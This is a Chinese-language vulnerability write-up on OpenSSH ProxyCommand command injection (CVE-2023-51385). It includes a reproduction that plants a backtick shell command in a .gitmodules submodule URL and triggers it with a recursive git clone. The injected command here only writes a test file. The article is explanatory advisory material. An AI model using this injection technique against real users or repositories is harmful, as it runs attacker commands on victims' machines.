欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

OpenSSH ProxyCommand 命令注入漏洞 (CVE-2023-51385)

最编程 2024-07-14 16:31:12
...

一、漏洞背景


     OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。近日,新华三盾山实验室监测到OpenSSH官方发布了安全公告,修复了一个存在于OpenSSH中的命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意Shell字符导致命令注入。


二、漏洞详情


此漏洞是由于OpenSSH中的ProxyCommand命令未对%h、%p或类似的扩展标记进行正确的过滤,攻击者可通过这些值注入恶意shell字符进行命令注入攻击。


三、影响范围


OpenSSH<9.6


四、漏洞验证


首先需要在~/.ssh/config增加如下

host *.example.com

 ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

网络异常,图片无法展示
|

.gitmodules文件语句中存在命令注入

rl = ssh://`echo helloworld > cve.txt`foo.example.com/bar

网络异常,图片无法展示
|

配置完成后,执行下面的指令触发

git clone https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules


如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件

网络异常,图片无法展示
|

网络异常,图片无法展示
|

下载的CVE里面有一个.gitmodules文件语句中存在命令注入

网络异常,图片无法展示
|

该漏洞具体详情可参考如下链接:


https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html